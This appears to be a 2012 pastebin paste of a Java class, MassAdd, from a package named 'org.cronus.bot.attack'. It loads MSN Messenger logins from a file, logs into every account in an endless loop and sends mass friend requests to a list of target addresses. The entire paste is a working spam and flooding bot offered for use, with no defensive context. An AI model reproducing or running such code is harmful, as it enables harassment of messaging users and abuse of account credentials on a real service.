
Untitled
By: a guest on
Apr 17th, 2012 | syntax:
None | size: 1.63 KB | hits: 5 | expires: Never
package org.cronus.bot.attack;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import net.sf.jml.Email;
import net.sf.jml.MsnMessenger;
import net.sf.jml.impl.MsnMessengerFactory;
public class MassAdd {
private static ArrayList<String> massadding = new ArrayList<String>();
private static HashMap<String, String> logins = new HashMap<String, String>();
static {
try {
BufferedReader in;
in = new BufferedReader(new FileReader("./data/logins"));
String s;
while ((s = in.readLine()) != null) {
String[] holder = s.split(" ");
logins.put(holder[0], holder[1]);
}
in = new BufferedReader(new FileReader("./data/massadding"));
while ((s = in.readLine()) != null) {
massadding.add(s);
}
new Thread(new Runnable() {
public void run() {
MsnMessenger messenger = null;
while (true) {
for (String s : logins.keySet()) {
messenger = MsnMessengerFactory.createMsnMessenger(
s, logins.get(s));
messenger.login();
for (String s1 : massadding) {
messenger.addFriend(Email.parseStr(s1),
"Massadd");
// Possibly not needed, just putting in there in
// case ;)
try {
Thread.sleep(200);
} catch (InterruptedException e) {
}
}
}
}
}
}).start();
} catch (FileNotFoundException e1) {
} catch (IOException e) {
}
}
public static void startMassadd(String massadd) {
massadding.add(massadd);
}
}